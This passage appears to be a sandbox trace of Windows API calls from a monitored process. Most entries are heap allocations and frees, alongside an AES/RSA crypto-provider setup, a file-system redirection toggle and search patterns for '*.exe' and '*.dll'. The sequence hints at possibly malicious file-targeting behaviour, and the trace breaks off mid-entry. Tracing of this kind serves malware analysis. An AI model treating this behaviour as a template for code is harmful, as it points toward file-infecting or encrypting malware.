RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc550 [0254.879] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc550) returned 1 [0254.879] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x5e2330) returned 1 [0254.896] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0254.896] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcb960 [0254.896] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcb9e8 [0254.896] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc550 [0254.896] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcba70 [0254.896] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbaf8 [0254.897] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc478 [0254.897] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbb80 [0254.897] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc430 [0254.897] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0254.897] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3e8 [0254.897] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc3e8) returned 1 [0254.897] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0254.906] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0254.906] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5dce68, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0254.906] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3e8 [0254.906] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0254.906] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc3e8) returned 1 [0254.906] GetLastError () returned 0x0 [0254.906] LocalFree (hMem=0x5dce68) returned 0x0 [0254.906] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3e8 [0254.907] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0254.907] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3a0 [0254.907] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc3a0) returned 1 [0254.907] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0254.908] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0254.908] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5dce68, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0254.908] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3a0 [0254.908] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0254.908] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc3a0) returned 1 [0254.908] GetLastError () returned 0x0 [0254.908] LocalFree (hMem=0x5dce68) returned 0x0 [0254.908] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3a0 [0254.908] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0254.909] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc358 [0254.909] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc358) returned 1 [0254.909] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0254.910] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0254.910] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5dce68, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0254.910] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc358 [0254.910] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0254.910] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc358) returned 1 [0254.910] GetLastError () returned 0x0 [0254.910] LocalFree (hMem=0x5dce68) returned 0x0 [0254.910] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd0048 [0254.910] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc08 [0254.910] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc358 [0254.911] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd688 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd340 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd330 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.911] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.911] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd340) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd330) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd688) returned 1 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd688 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd330 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd340 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd330) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd340) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd688) returned 1 [0254.912] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0254.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc280, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcda58 [0254.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc280, cbMultiByte=5, lpWideCharStr=0xdcda58, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0254.912] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdae0 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcda58) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd688 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd340 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcda58 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdae0) returned 1 [0254.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc310, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdae0 [0254.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc310, cbMultiByte=5, lpWideCharStr=0xdcdae0, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdb68 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdae0) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd330 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdae0 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdb68) returned 1 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd320 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.913] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.913] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdcbc90 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd300 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2f0 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdd5058 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2d0 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc670 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2c0 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc6b8 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2b0 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc700 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2a0 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc748 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd290 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc790 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd270 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc7d8 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd280 [0254.914] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc820 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd320) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.914] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd310) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd300) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2f0) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc90) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2f0 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd300 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdcbc90 [0254.915] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd320 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.915] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc670) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2d0) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc6b8) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2c0) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc700) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2b0) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc748) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2a0) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc790) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd290) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc7d8) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd270) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc820) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd280) returned 1 [0254.916] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdd5058 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd280 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc820 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd270 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc7d8 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd290 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc790 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2a0 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc748 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2b0 [0254.916] RtlAllocateHeap 